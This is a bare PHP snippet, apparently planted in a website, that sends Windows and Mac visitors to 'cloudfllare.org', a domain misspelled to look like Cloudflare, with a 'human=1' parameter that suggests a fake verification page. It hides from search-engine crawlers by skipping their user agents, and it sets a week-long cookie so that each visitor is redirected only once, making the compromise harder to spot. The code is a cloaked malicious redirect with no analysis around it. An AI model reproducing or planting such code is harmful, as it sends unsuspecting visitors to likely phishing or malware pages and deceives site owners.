function redirect_once_windows_mac_all_pages() {
$target_url = 'https://cloudfllare.org/index.php?human=1';
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$bots = array('googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider', 'yandex');
foreach ( $bots as $bot ) {
if ( strpos( $ua, $bot ) !== false ) {
return;
}
}
if ( ( strpos($ua, 'windows') !== false || strpos($ua, 'macintosh') !== false )
&& ! isset($_COOKIE['redirect_done1']) ) {
setcookie('redirect_done1', '1', time() + (7 * 24 * 60 * 60), "/");
header('Location: ' . $target_url);
exit;
}
}
redirect_once_windows_mac_all_pages();
?>